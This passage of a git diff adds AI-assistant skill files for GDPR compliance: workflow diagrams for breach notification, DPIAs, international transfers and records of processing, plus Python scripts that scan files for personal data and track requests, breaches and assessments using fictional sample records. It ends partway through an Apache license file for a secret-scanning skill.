hours) + AND notify affected data subjects + | + v +[Prepare Supervisory Authority Notification] + - Nature of the breach + - Categories and approximate number of data subjects + - Categories and approximate number of records + - Name and contact details of DPO + - Likely consequences of the breach + - Measures taken or proposed to address the breach + | + v +[Submit Notification to Lead Supervisory Authority] + | + v +[If High Risk: Notify Data Subjects] + - Clear and plain language + - Description of breach + - DPO contact information + - Likely consequences + - Measures taken to mitigate + | + v +[Conduct Post-Breach Review] + - Root cause analysis + - Control improvements + - Update breach register + | + v +End +``` + +## Workflow 3: Data Protection Impact Assessment (DPIA) + +``` +Start + | + v +[Identify Processing Activity] + | + v +[Screen Against DPIA Criteria] + - Profiling or automated decision-making? + - Large-scale special category data? + - Systematic monitoring of public areas? + - New technology application? + - Cross-border data transfer? + - Vulnerable data subjects? + | + +--> [No DPIA triggers] --> Document screening decision --> End + | + +--> [DPIA required] + | + v +[Describe Processing Operation] + - Purpose and scope + - Data elements collected + - Data subjects categories + - Recipients and transfers + - Retention period + - Technology used + | + v +[Assess Necessity and Proportionality] + - Is processing necessary for the purpose? + - Could purpose be achieved with less data? + - Is lawful basis appropriate? + - Are data subject rights supported? + | + v +[Identify and Assess Risks] + - Risks to confidentiality + - Risks to integrity + - Risks to availability + - Risks to rights and freedoms + - Likelihood and severity of each risk + | + v +[Identify Mitigation Measures] + - Technical measures (encryption, pseudonymization, access controls) + - Organizational measures (policies, training, DPO oversight) + - Contractual measures (DPAs, SCCs) + | + v +[Determine Residual Risk] + | + +--> [Residual Risk Acceptable] --> Approve and proceed + | + +--> [Residual Risk High] --> Consult DPO + | | + | +--> [Can mitigate further] --> Add measures + | | + | +--> [Cannot mitigate] --> Prior consultation + | with Supervisory Authority (Art. 36) + | + v +[Document DPIA] + - Keep under review + - Reassess when processing changes + | + v +End +``` + +## Workflow 4: International Data Transfer Assessment + +``` +Start + | + v +[Identify Cross-Border Transfer] + - Data flowing outside EEA + - Cloud services in non-EEA regions + - Group company data sharing + - Vendor/processor locations + | + v +[Check Adequacy Decision] + - Is destination country on EU adequacy list? + - (Andorra, Argentina, Canada, Faroe Islands, Guernsey, + Israel, Isle of Man, Japan, Jersey, New Zealand, Republic + of Korea, Switzerland, UK, Uruguay, US under DPF) + | + +--> [Adequate] --> Document and proceed + | + +--> [Not Adequate] + | + v + [Select Transfer Mechanism] + | + +--> Standard Contractual Clauses (SCCs) + +--> Binding Corporate Rules (BCRs) + +--> Approved Code of Conduct + +--> Certification Mechanism + +--> Derogations (Art. 49) - limited circumstances + | + v + [Conduct Transfer Impact Assessment (TIA)] + - Laws of destination country + - Government surveillance powers + - Data protection standards + - Access by public authorities + | + v + [Identify Supplementary Measures] + - Technical: encryption with EEA-held keys + - Contractual: additional processor obligations + - Organizational: policies limiting access + | + v + [Document Transfer Mechanism] + - Signed SCCs with correct module + - TIA findings and conclusions + - Supplementary measures implemented + | + v +End +``` + +## Workflow 5: Records of Processing Activities (ROPA) + +``` +Start + | + v +[Identify All Processing Activities] + - Interview business units + - Review system inventory + - Analyze data flows + - Check vendor agreements + | + v +[For Each Processing Activity Document:] + | + v +[Controller Record (Art. 30(1))] + - Name and contact details of controller (and DPO) + - Purposes of processing + - Categories of data subjects + - Categories of personal data + - Categories of recipients + - Transfers to third countries (safeguards) + - Retention periods + - Technical and organizational security measures + | + v +[Processor Record (Art. 30(2))] + - Name and contact details of processor and controller + - Categories of processing carried out + - Transfers to third countries (safeguards) + - Technical and organizational security measures + | + v +[Maintain and Update ROPA] + - Review quarterly or when processing changes + - Update for new systems, vendors, purposes + - Make available to supervisory authority on request + | + v +End +``` diff --git a/.claude/skills/implementing-gdpr-data-protection-controls/scripts/agent.py b/.claude/skills/implementing-gdpr-data-protection-controls/scripts/agent.py new file mode 100644 index 0000000..37e7f9b --- /dev/null +++ b/.claude/skills/implementing-gdpr-data-protection-controls/scripts/agent.py @@ -0,0 +1,234 @@ +#!/usr/bin/env python3 +"""Agent for assessing and managing GDPR data protection compliance.""" + +import json +import argparse +import re +from datetime import datetime +from collections import Counter + + +GDPR_ARTICLES = { + "Art5": "Principles of processing", + "Art6": "Lawful basis", + "Art13": "Information to data subject (direct collection)", + "Art14": "Information to data subject (indirect collection)", + "Art15": "Right of access", + "Art17": "Right to erasure", + "Art20": "Right to data portability", + "Art25": "Data protection by design and by default", + "Art30": "Records of processing activities", + "Art32": "Security of processing", + "Art33": "Breach notification (72h to DPA)", + "Art34": "Breach communication to data subjects", + "Art35": "Data Protection Impact Assessment", + "Art44": "Cross-border transfer principles", +} + +PII_PATTERNS = { + "email": r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b", + "phone_eu": r"\b\+?[0-9]{1,3}[\s.-]?[0-9]{6,14}\b", + "iban": r"\b[A-Z]{2}\d{2}[A-Z0-9]{11,30}\b", + "ip_address": r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b", + "date_of_birth": r"\b\d{2}[/.-]\d{2}[/.-]\d{4}\b", + "national_id": r"\b\d{3}-\d{2}-\d{4}\b", + "passport": r"\b[A-Z]{1,2}\d{6,9}\b", +} + + +def scan_for_pii(file_path, max_bytes=1024 * 1024): + """Scan a file for GDPR-relevant personal data patterns.""" + try: + with open(file_path, "r", encoding="utf-8", errors="ignore") as f: + content = f.read(max_bytes) + except (OSError, PermissionError): + return None + matches = {} + for pii_type, pattern in PII_PATTERNS.items(): + found = re.findall(pattern, content) + if found: + matches[pii_type] = len(found) + if not matches: + return None + return {"file": str(file_path), "pii_types": matches, + "total_matches": sum(matches.values()), + "category": classify_data_category(matches)} + + +def classify_data_category(matches): + """Classify data into GDPR special categories.""" + if any(k in matches for k in ["national_id", "passport"]): + return "special_category" + if "iban" in matches: + return "financial" + return "standard_personal_data" + + +def assess_ropa_completeness(ropa_json): + """Assess Records of Processing Activities (ROPA) completeness per Art 30.""" + with open(ropa_json) as f: + ropa = json.load(f) + required_fields = [ + "controller_name", "purposes", "data_categories", "data_subjects", + "recipients", "transfers", "retention_periods", "security_measures", + ] + findings = [] + activities = ropa if isinstance(ropa, list) else ropa.get("activities", []) + for activity in activities: + missing = [f for f in required_fields if not activity.get(f)] + findings.append({ + "activity": activity.get("name", activity.get("purpose", "unknown")), + "complete": len(missing) == 0, + "missing_fields": missing, + "compliance": "COMPLIANT" if not missing else "NON_COMPLIANT", + }) + total = len(findings) + compliant = sum(1 for f in findings if f["compliance"] == "COMPLIANT") + return { + "activities_assessed": total, + "compliant": compliant, + "compliance_rate": round(compliant / total * 100, 1) if total else 0, + "details": findings, + } + + +def assess_dsr_handling(dsr_log_path): + """Assess Data Subject Request handling compliance.""" + with open(dsr_log_path) as f: + requests_log = json.load(f) + dsrs = requests_log if isinstance(requests_log, list) else requests_log.get("requests", []) + findings = [] + for dsr in dsrs: + received = datetime.fromisoformat(dsr.get("received_date", "2024-01-01")) + completed = dsr.get("completed_date") + if completed: + completed_dt = datetime.fromisoformat(completed) + days = (completed_dt - received).days + else: + days = (datetime.utcnow() - received).days + overdue = days > 30 # GDPR requires response within one month + findings.append({ + "request_id": dsr.get("id", ""), + "type": dsr.get("type", dsr.get("right", "")), + "status": dsr.get("status", "pending"), + "days_elapsed": days, + "overdue": overdue, + "severity": "HIGH" if overdue else "INFO", + }) + overdue_count = sum(1 for f in findings if f["overdue"]) + return { + "total_requests": len(findings), + "overdue": overdue_count, + "by_type": dict(Counter(f["type"] for f in findings)), + "details": findings, + } + + +def assess_breach_notification_readiness(breach_log_path): + """Assess breach notification compliance (Art 33/34).""" + with open(breach_log_path) as f: + breaches = json.load(f) + breach_list = breaches if isinstance(breaches, list) else breaches.get("breaches", []) + findings = [] + for breach in breach_list: + detected = datetime.fromisoformat(breach.get("detected", "2024-01-01")) + notified = breach.get("dpa_notified") + if notified: + notified_dt = datetime.fromisoformat(notified) + hours = (notified_dt - detected).total_seconds() / 3600 + else: + hours = None + compliant = hours is not None and hours <= 72 + findings.append({ + "breach_id": breach.get("id", ""), + "detected": str(detected), + "notification_hours": round(hours, 1) if hours else None, + "art33_compliant": compliant, + "data_subjects_affected": breach.get("subjects_affected", 0), + "severity": breach.get("severity", "HIGH"), + }) + return {"total_breaches": len(findings), "details": findings, + "art33_compliance_rate": round( + sum(1 for f in findings if f["art33_compliant"]) / len(findings) * 100, 1 + ) if findings else 0} + + +def generate_art32_checklist(): + """Generate Article 32 security measures compliance checklist.""" + return { + "encryption": { + "data_at_rest": {"required": True, "standard": "AES-256"}, + "data_in_transit": {"required": True, "standard": "TLS 1.2+"}, + "key_management": {"required": True, "standard": "HSM or KMS"}, + }, + "pseudonymization": { + "tokenization": {"required": True}, + "key_separation": {"required": True}, + }, + "access_controls": { + "rbac": {"required": True}, + "mfa": {"required": True}, + "least_privilege": {"required": True}, + "access_reviews": {"required": True, "frequency": "quarterly"}, + }, + "resilience": { + "backup_strategy": {"required": True}, + "disaster_recovery": {"required": True, "rto": "4h", "rpo": "1h"}, + "business_continuity": {"required": True}, + }, + "testing": { + "penetration_testing": {"required": True, "frequency": "annual"}, + "vulnerability_scanning": {"required": True, "frequency": "monthly"}, + "security_awareness": {"required": True, "frequency": "annual"}, + }, + } + + +def main(): + parser = argparse.ArgumentParser(description="GDPR Data Protection Agent") + parser.add_argument("--scan-pii", help="File or directory to scan for PII") + parser.add_argument("--ropa", help="ROPA JSON file for completeness check") + parser.add_argument("--dsr-log", help="Data Subject Request log JSON") + parser.add_argument("--breach-log", help="Breach notification log JSON") + parser.add_argument("--action", choices=["scan", "ropa", "dsr", "breach", + "art32", "full"], default="full") + parser.add_argument("--output", default="gdpr_compliance_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.action in ("scan", "full") and args.scan_pii: + result = scan_for_pii(args.scan_pii) + report["results"]["pii_scan"] = result + if result: + print(f"[+] PII found: {result['total_matches']} matches ({result['category']})") + else: + print("[+] No PII detected") + + if args.action in ("ropa", "full") and args.ropa: + result = assess_ropa_completeness(args.ropa) + report["results"]["ropa"] = result + print(f"[+] ROPA compliance: {result['compliance_rate']}%") + + if args.action in ("dsr", "full") and args.dsr_log: + result = assess_dsr_handling(args.dsr_log) + report["results"]["dsr"] = result + print(f"[+] DSRs: {result['total_requests']} total, {result['overdue']} overdue") + + if args.action in ("breach", "full") and args.breach_log: + result = assess_breach_notification_readiness(args.breach_log) + report["results"]["breach"] = result + print(f"[+] Art 33 compliance rate: {result['art33_compliance_rate']}%") + + if args.action in ("art32", "full"): + checklist = generate_art32_checklist() + report["results"]["art32_checklist"] = checklist + print("[+] Article 32 security checklist generated") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/.claude/skills/implementing-gdpr-data-protection-controls/scripts/process.py b/.claude/skills/implementing-gdpr-data-protection-controls/scripts/process.py new file mode 100644 index 0000000..a1c04aa --- /dev/null +++ b/.claude/skills/implementing-gdpr-data-protection-controls/scripts/process.py @@ -0,0 +1,535 @@ +#!/usr/bin/env python3 +""" +GDPR Data Protection Compliance Automation + +Automates data mapping, ROPA creation, DPIA assessment, data subject +request tracking, breach notification management, and compliance reporting. +""" + +import json +import csv +import os +from datetime import datetime, timedelta +from pathlib import Path +from dataclasses import dataclass, field, asdict +from enum import Enum +from typing import Optional + + +class LawfulBasis(Enum): + CONSENT = "Consent (Art. 6(1)(a))" + CONTRACT = "Contract (Art. 6(1)(b))" + LEGAL_OBLIGATION = "Legal Obligation (Art. 6(1)(c))" + VITAL_INTERESTS = "Vital Interests (Art. 6(1)(d))" + PUBLIC_TASK = "Public Task (Art. 6(1)(e))" + LEGITIMATE_INTEREST = "Legitimate Interest (Art. 6(1)(f))" + + +class DSRType(Enum): + ACCESS = "Right of Access (Art. 15)" + RECTIFICATION = "Right to Rectification (Art. 16)" + ERASURE = "Right to Erasure (Art. 17)" + RESTRICTION = "Right to Restriction (Art. 18)" + PORTABILITY = "Right to Data Portability (Art. 20)" + OBJECTION = "Right to Object (Art. 21)" + AUTOMATED = "Automated Decision-Making (Art. 22)" + + +class BreachSeverity(Enum): + NO_RISK = "No Risk" + RISK = "Risk to Rights and Freedoms" + HIGH_RISK = "High Risk to Rights and Freedoms" + + +class TransferMechanism(Enum): + ADEQUACY = "Adequacy Decision (Art. 45)" + SCCS = "Standard Contractual Clauses (Art. 46(2)(c))" + BCRS = "Binding Corporate Rules (Art. 47)" + CONSENT = "Explicit Consent (Art. 49(1)(a))" + CONTRACT = "Necessary for Contract (Art. 49(1)(b))" + DEROGATION = "Other Derogation (Art. 49)" + + +ADEQUATE_COUNTRIES = [ + "Andorra", "Argentina", "Canada", "Faroe Islands", "Guernsey", + "Israel", "Isle of Man", "Japan", "Jersey", "New Zealand", + "Republic of Korea", "Switzerland", "United Kingdom", "Uruguay", + "United States (Data Privacy Framework participants)" +] + + +@dataclass +class ProcessingActivity: + activity_id: str + name: str + purpose: str + lawful_basis: str + data_subjects: list + personal_data_categories: list + special_categories: bool = False + recipients: list = field(default_factory=list) + international_transfers: list = field(default_factory=list) + retention_period: str = "" + systems: list = field(default_factory=list) + security_measures: list = field(default_factory=list) + dpia_required: bool = False + controller_name: str = "" + processor_name: str = "" + + +@dataclass +class DataSubjectRequest: + dsr_id: str + request_type: str + data_subject_name: str + data_subject_email: str + received_date: str + identity_verified: bool = False + identity_verified_date: str = "" + deadline: str = "" + status: str = "Received" + systems_searched: list = field(default_factory=list) + response_date: str = "" + notes: str = "" + + def __post_init__(self): + if not self.deadline and self.received_date: + received = datetime.strptime(self.received_date, "%Y-%m-%d") + self.deadline = (received + timedelta(days=30)).strftime("%Y-%m-%d") + + +@dataclass +class BreachRecord: + breach_id: str + detected_date: str + detected_time: str + description: str + data_categories: list + subjects_affected: int + severity: str + notification_deadline: str = "" + authority_notified: bool = False + authority_notification_date: str = "" + subjects_notified: bool = False + subjects_notification_date: str = "" + root_cause: str = "" + remediation: str = "" + status: str = "Investigating" + + def __post_init__(self): + if not self.notification_deadline and self.detected_date: + detected = datetime.strptime(self.detected_date, "%Y-%m-%d") + self.notification_deadline = (detected + timedelta(hours=72)).strftime("%Y-%m-%d %H:%M") + + +@dataclass +class DPIARecord: + dpia_id: str + processing_activity: str + description: str + necessity_assessment: str + risks_identified: list + mitigation_measures: list + residual_risk: str + dpo_consultation: bool = False + authority_consultation: bool = False + approved: bool = False + approval_date: str = "" + reviewer: str = "" + + +class GDPRComplianceManager: + """Manages GDPR compliance controls and tracking.""" + + def __init__(self, output_dir: str = "./gdpr_output"): + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.processing_activities: list[ProcessingActivity] = [] + self.dsr_log: list[DataSubjectRequest] = [] + self.breach_register: list[BreachRecord] = [] + self.dpia_register: list[DPIARecord] = [] + + def create_ropa(self, activities: list[dict]) -> list[ProcessingActivity]: + """Create Records of Processing Activities (Art. 30).""" + print("\n" + "=" * 70) + print("RECORDS OF PROCESSING ACTIVITIES (ROPA)") + print("=" * 70) + + for act_data in activities: + activity = ProcessingActivity(**act_data) + self.processing_activities.append(activity) + print(f"\n [{activity.activity_id}] {activity.name}") + print(f" Purpose: {activity.purpose}") + print(f" Lawful Basis: {activity.lawful_basis}") + print(f" Data Subjects: {', '.join(activity.data_subjects)}") + print(f" Special Categories: {'Yes' if activity.special_categories else 'No'}") + print(f" International Transfers: {'Yes' if activity.international_transfers else 'No'}") + print(f" DPIA Required: {'Yes' if activity.dpia_required else 'No'}") + + # Summary statistics + total = len(self.processing_activities) + special = sum(1 for a in self.processing_activities if a.special_categories) + transfers = sum(1 for a in self.processing_activities if a.international_transfers) + dpia_needed = sum(1 for a in self.processing_activities if a.dpia_required) + + print(f"\n ROPA Summary:") + print(f" Total Processing Activities: {total}") + print(f" Special Category Processing: {special}") + print(f" International Transfers: {transfers}") + print(f" DPIA Required: {dpia_needed}") + + # Lawful basis breakdown + basis_counts = {} + for a in self.processing_activities: + basis_counts.setdefault(a.lawful_basis, 0) + basis_counts[a.lawful_basis] += 1 + print(f"\n Lawful Basis Breakdown:") + for basis, count in basis_counts.items(): + print(f" {basis}: {count}") + + # Save ROPA + ropa_path = self.output_dir / "ropa.json" + with open(ropa_path, "w") as f: + json.dump([asdict(a) for a in self.processing_activities], f, indent=2) + + csv_path = self.output_dir / "ropa.csv" + with open(csv_path, "w", newline="", encoding="utf-8") as f: + writer = csv.writer(f) + writer.writerow([ + "Activity ID", "Name", "Purpose", "Lawful Basis", + "Data Subjects", "Personal Data Categories", "Special Categories", + "Recipients", "International Transfers", "Retention Period", + "Systems", "Security Measures", "DPIA Required" + ]) + for a in self.processing_activities: + writer.writerow([ + a.activity_id, a.name, a.purpose, a.lawful_basis, + "; ".join(a.data_subjects), "; ".join(a.personal_data_categories), + "Yes" if a.special_categories else "No", + "; ".join(a.recipients), "; ".join(a.international_transfers), + a.retention_period, "; ".join(a.systems), + "; ".join(a.security_measures), "Yes" if a.dpia_required else "No" + ]) + + print(f"\n ROPA saved to: {ropa_path}") + return self.processing_activities + + def process_dsr(self, requests: list[dict]) -> dict: + """Track and manage data subject requests.""" + print("\n" + "=" * 70) + print("DATA SUBJECT REQUEST TRACKER") + print("=" * 70) + + for req_data in requests: + dsr = DataSubjectRequest(**req_data) + self.dsr_log.append(dsr) + print(f"\n [{dsr.dsr_id}] {dsr.request_type}") + print(f" Subject: {dsr.data_subject_name}") + print(f" Received: {dsr.received_date}") + print(f" Deadline: {dsr.deadline}") + print(f" Status: {dsr.status}") + print(f" Identity Verified: {'Yes' if dsr.identity_verified else 'No'}") + + # Overdue check + today = datetime.now().strftime("%Y-%m-%d") + overdue = [d for d in self.dsr_log if d.deadline < today and d.status != "Completed"] + if overdue: + print(f"\n ALERT: {len(overdue)} overdue DSRs!") + for d in overdue: + print(f" [{d.dsr_id}] {d.request_type} - Deadline: {d.deadline}") + + # Summary + type_counts = {} + for d in self.dsr_log: + type_counts.setdefault(d.request_type, 0) + type_counts[d.request_type] += 1 + + print(f"\n DSR Summary:") + for rtype, count in type_counts.items(): + print(f" {rtype}: {count}") + print(f" Total: {len(self.dsr_log)}") + print(f" Overdue: {len(overdue)}") + + dsr_path = self.output_dir / "dsr_log.json" + with open(dsr_path, "w") as f: + json.dump([asdict(d) for d in self.dsr_log], f, indent=2) + + print(f"\n DSR Log saved to: {dsr_path}") + return {"total": len(self.dsr_log), "overdue": len(overdue), "by_type": type_counts} + + def manage_breach(self, breaches: list[dict]) -> list[BreachRecord]: + """Manage breach register and notification tracking.""" + print("\n" + "=" * 70) + print("BREACH REGISTER AND NOTIFICATION TRACKER") + print("=" * 70) + + for breach_data in breaches: + breach = BreachRecord(**breach_data) + self.breach_register.append(breach) + print(f"\n [{breach.breach_id}] {breach.description[:60]}...") + print(f" Detected: {breach.detected_date} {breach.detected_time}") + print(f" Severity: {breach.severity}") + print(f" Subjects Affected: {breach.subjects_affected}") + print(f" Notification Deadline: {breach.notification_deadline}") + print(f" Authority Notified: {'Yes' if breach.authority_notified else 'No'}") + if breach.severity == BreachSeverity.HIGH_RISK.value: + print(f" Subjects Notified: {'Yes' if breach.subjects_notified else 'No'}") + print(f" Status: {breach.status}") + + breach_path = self.output_dir / "breach_register.json" + with open(breach_path, "w") as f: + json.dump([asdict(b) for b in self.breach_register], f, indent=2) + + print(f"\n Breach Register saved to: {breach_path}") + return self.breach_register + + def conduct_dpia(self, dpias: list[dict]) -> list[DPIARecord]: + """Conduct and record Data Protection Impact Assessments.""" + print("\n" + "=" * 70) + print("DATA PROTECTION IMPACT ASSESSMENTS (DPIAs)") + print("=" * 70) + + for dpia_data in dpias: + dpia = DPIARecord(**dpia_data) + self.dpia_register.append(dpia) + print(f"\n [{dpia.dpia_id}] {dpia.processing_activity}") + print(f" Description: {dpia.description[:60]}...") + print(f" Risks Identified: {len(dpia.risks_identified)}") + print(f" Mitigation Measures: {len(dpia.mitigation_measures)}") + print(f" Residual Risk: {dpia.residual_risk}") + print(f" DPO Consulted: {'Yes' if dpia.dpo_consultation else 'No'}") + print(f" Approved: {'Yes' if dpia.approved else 'No'}") + + dpia_path = self.output_dir / "dpia_register.json" + with open(dpia_path, "w") as f: + json.dump([asdict(d) for d in self.dpia_register], f, indent=2) + + print(f"\n DPIA Register saved to: {dpia_path}") + return self.dpia_register + + def assess_compliance(self) -> dict: + """Generate overall GDPR compliance assessment.""" + print("\n" + "=" * 70) + print("GDPR COMPLIANCE ASSESSMENT") + print("=" * 70) + + checks = { + "Article 5 - Principles": { + "All processing has documented lawful basis": bool(self.processing_activities), + "Purpose limitation documented for each activity": False, + "Data minimization assessed": False, + "Accuracy procedures in place": False, + "Retention periods defined": any(a.retention_period for a in self.processing_activities), + "Security measures documented": any(a.security_measures for a in self.processing_activities), + }, + "Article 25 - Privacy by Design": { + "Development processes include privacy reviews": False, + "Default privacy settings implemented": False, + "Data minimization built into systems": False, + }, + "Article 30 - ROPA": { + "Records of processing maintained": bool(self.processing_activities), + "Controller details documented": any(a.controller_name for a in self.processing_activities), + "All processing activities captured": len(self.processing_activities) > 0, + }, + "Article 32 - Security Measures": { + "Encryption implemented for personal data": False, + "Pseudonymization implemented where appropriate": False, + "Access controls for personal data systems": False, + "Regular security testing performed": False, + }, + "Articles 33-34 - Breach Notification": { + "Breach detection capabilities in place": False, + "72-hour notification process documented": False, + "Breach register maintained": bool(self.breach_register), + "Breach response tested": False, + }, + "Article 35 - DPIA": { + "DPIA criteria documented": False, + "DPIAs conducted for high-risk processing": bool(self.dpia_register), + "DPO consulted on DPIAs": any(d.dpo_consultation for d in self.dpia_register), + }, + "Articles 12-22 - Data Subject Rights": { + "DSR handling process documented": False, + "30-day response capability": bool(self.dsr_log), + "Identity verification process": any(d.identity_verified for d in self.dsr_log), + "Erasure capability across systems": False, + "Portability export capability": False, + }, + "Articles 44-49 - International Transfers": { + "Cross-border transfers mapped": any(a.international_transfers for a in self.processing_activities), + "Transfer mechanisms in place (SCCs/BCRs)": False, + "Transfer impact assessments conducted": False, + }, + } + + total = sum(len(v) for v in checks.values()) + passed = sum(sum(1 for x in v.values() if x) for v in checks.values()) + pct = (passed / total * 100) if total > 0 else 0 + + print(f"\n Compliance Score: {passed}/{total} ({pct:.1f}%)") + + for article, items in checks.items(): + cat_passed = sum(1 for x in items.values() if x) + cat_total = len(items) + print(f"\n {article} ({cat_passed}/{cat_total}):") + for item, status in items.items(): + icon = "[PASS]" if status else "[FAIL]" + print(f" {icon} {item}") + + report = { + "date": datetime.now().isoformat(), + "compliance_percentage": pct, + "checks": checks, + "ropa_count": len(self.processing_activities), + "dsr_count": len(self.dsr_log), + "breach_count": len(self.breach_register), + "dpia_count": len(self.dpia_register), + } + + report_path = self.output_dir / "gdpr_compliance_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2) + + print(f"\n Compliance Report saved to: {report_path}") + return report + + +def main(): + """Run GDPR compliance assessment.""" + manager = GDPRComplianceManager() + + # ROPA + sample_activities = [ + { + "activity_id": "PROC-001", + "name": "Customer Account Management", + "purpose": "Managing customer accounts and providing services", + "lawful_basis": LawfulBasis.CONTRACT.value, + "data_subjects": ["Customers"], + "personal_data_categories": ["Name", "Email", "Phone", "Address", "Payment details"], + "recipients": ["Payment processor", "CRM provider"], + "international_transfers": ["US (Payment processor - SCCs)"], + "retention_period": "Duration of contract + 6 years", + "systems": ["CRM", "Payment gateway", "Database"], + "security_measures": ["Encryption at rest", "TLS in transit", "RBAC", "MFA"], + "controller_name": "Example Corp Ltd", + }, + { + "activity_id": "PROC-002", + "name": "Employee HR Processing", + "purpose": "Employment administration, payroll, benefits", + "lawful_basis": LawfulBasis.CONTRACT.value, + "data_subjects": ["Employees", "Job applicants"], + "personal_data_categories": ["Name", "Address", "DOB", "NI number", "Bank details", "Health data"], + "special_categories": True, + "recipients": ["Payroll provider", "Pension provider", "HMRC"], + "retention_period": "Employment + 7 years", + "systems": ["HRIS", "Payroll system"], + "security_measures": ["Encryption", "Access controls", "Audit logging"], + "dpia_required": True, + "controller_name": "Example Corp Ltd", + }, + { + "activity_id": "PROC-003", + "name": "Website Analytics", + "purpose": "Analyzing website usage to improve user experience", + "lawful_basis": LawfulBasis.CONSENT.value, + "data_subjects": ["Website visitors"], + "personal_data_categories": ["IP address", "Cookie identifiers", "Browsing behavior"], + "recipients": ["Analytics provider"], + "international_transfers": ["US (Analytics provider - EU-US DPF)"], + "retention_period": "26 months", + "systems": ["Website", "Analytics platform"], + "security_measures": ["IP anonymization", "Cookie consent", "Data pseudonymization"], + "controller_name": "Example Corp Ltd", + }, + ] + manager.create_ropa(sample_activities) + + # DSRs + sample_dsrs = [ + { + "dsr_id": "DSR-001", + "request_type": DSRType.ACCESS.value, + "data_subject_name": "John Smith", + "data_subject_email": "john.smith@email.com", + "received_date": "2024-12-01", + "identity_verified": True, + "identity_verified_date": "2024-12-02", + "status": "In Progress", + "systems_searched": ["CRM", "Email", "Analytics"], + }, + { + "dsr_id": "DSR-002", + "request_type": DSRType.ERASURE.value, + "data_subject_name": "Jane Doe", + "data_subject_email": "jane.doe@email.com", + "received_date": "2024-12-15", + "identity_verified": True, + "identity_verified_date": "2024-12-16", + "status": "Completed", + "response_date": "2024-12-28", + }, + ] + manager.process_dsr(sample_dsrs) + + # Breaches + sample_breaches = [ + { + "breach_id": "BREACH-001", + "detected_date": "2024-11-15", + "detected_time": "14:30", + "description": "Unauthorized access to customer database via compromised admin credentials", + "data_categories": ["Name", "Email", "Phone"], + "subjects_affected": 2500, + "severity": BreachSeverity.HIGH_RISK.value, + "authority_notified": True, + "authority_notification_date": "2024-11-16", + "subjects_notified": True, + "subjects_notification_date": "2024-11-18", + "root_cause": "Credential compromise via phishing", + "remediation": "MFA enforced, passwords reset, phishing training deployed", + "status": "Closed", + }, + ] + manager.manage_breach(sample_breaches) + + # DPIAs + sample_dpias = [ + { + "dpia_id": "DPIA-001", + "processing_activity": "Employee HR Processing", + "description": "Processing of employee health data for occupational health and benefits administration", + "necessity_assessment": "Processing is necessary for employment contract and legal obligations", + "risks_identified": [ + "Unauthorized access to health data", + "Data breach exposing sensitive employee information", + "Excessive data collection beyond what is necessary", + ], + "mitigation_measures": [ + "Encryption of all health data at rest and in transit", + "Strict RBAC limiting access to HR and OH staff only", + "Audit logging of all access to health records", + "Annual access reviews", + "Staff training on handling special category data", + ], + "residual_risk": "Low", + "dpo_consultation": True, + "approved": True, + "approval_date": "2024-06-15", + "reviewer": "DPO", + }, + ] + manager.conduct_dpia(sample_dpias) + + # Overall compliance assessment + manager.assess_compliance() + + print("\n" + "=" * 70) + print("GDPR COMPLIANCE ASSESSMENT COMPLETE") + print("=" * 70) + + +if __name__ == "__main__": + main() diff --git a/.claude/skills/implementing-secret-scanning-with-gitleaks/LICENSE b/.claude/skills/implementing-secret-scanning-with-gitleaks/LICENSE new file mode 100644 index 0000000..d885118 --- /dev/null +++ b/.claude/skills/implementing-secret-scanning-with-gitleaks/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You 